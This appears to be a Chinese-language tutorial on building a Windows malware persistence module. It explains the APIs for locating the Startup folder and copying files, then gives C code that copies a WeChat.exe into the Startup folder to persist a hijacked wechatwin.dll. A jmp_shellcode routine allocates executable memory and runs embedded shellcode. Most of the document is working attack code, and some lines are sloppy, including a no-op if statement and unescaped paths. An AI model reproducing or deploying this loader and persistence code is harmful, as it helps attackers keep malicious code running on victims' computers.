自启动模块构造-快速启动目录
涉及的函数
SHGetSpeciaFolderPathA()
概述
检索特殊文件夹的路径,该路径由其CSIDL标识。
语法:
c++
BOOL SHGetSpecialFolderPathA(
HWND hwnd, //窗口所有者的句柄
LPSTR pszPath, //返回路径的缓冲区
int csidl, //系统路径的CSIDL,在新的windows开发中csidl已经被弃用,改用KNOWNFOLDERID。
BOOL fCreate //文件夹不存在是否要创建
);
wsprintfA()
https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-wsprintfa
概述
将格式化的数据写入指定的缓冲区。根据格式字符串中相应的格式说明,将转换任何参数并将其复制到输出缓冲区。该函数在其写入的字符后附加一个终止空字符,但返回值的字符计数中不包含终止空字符。 (没看太懂这个函数)
语法:
c++
int WINAPIV wsprintfA(
LPSTR , //接收格式化输出的缓冲区
LPCSTR ,
...
);
CopyFile()
https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-copyfile
概述
将现有文件复制到新文件。
语法:
c++
BOOL CopyFile(
LPCTSTR lpExistingFileName, //现有文件的名称。
LPCTSTR lpNewFileName, //新文件的名称。
BOOL bFailIfExists //False
);
自写源码
如有显示什么字符不兼容,请百度解决错误,该错误是因为vs设置不同导致的。
/*
c 快速启动目录自启
*/
BOOL dir_reboot(char *lpszSrcFilePath, char *lpszDestFileName) {
BOOL bRet = FALSE;
char szStartupPath[MAX_PATH] = { 0 };
char szDestFilePath[MAX_PATH] = { 0 };
//获取快速启动目录的路径
bRet = SHGetSpecialFolderPathA(NULL, szStartupPath, CSIDL_STARTUP, TRUE);
//构造复制的目的地文件路径
wsprintf(szDestFilePath, "%s\%s", szStartupPath, lpszDestFileName);
//复制文件到快速启动目录下
bRet = CopyFile(lpszSrcFilePath, szDestFilePath, FALSE);
return TRUE;
}
然后在DWORD WINAPI jmp_shellcode(LPVOID pPara){....}进行调用
把C:\Users\test\Desktop\1\WeChat.exe写入开始启动菜单中,这样就等于对wechatwin.dll做了持久化
DWORD WINAPI jmp_shellcode(LPVOID pPara)
{
if (FALSE == dir_reboot("C:\Users\test\Desktop\1\WeChat.exe", "WeChat.exe"));
void* exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
((void(*)())exec)();
return 0;
}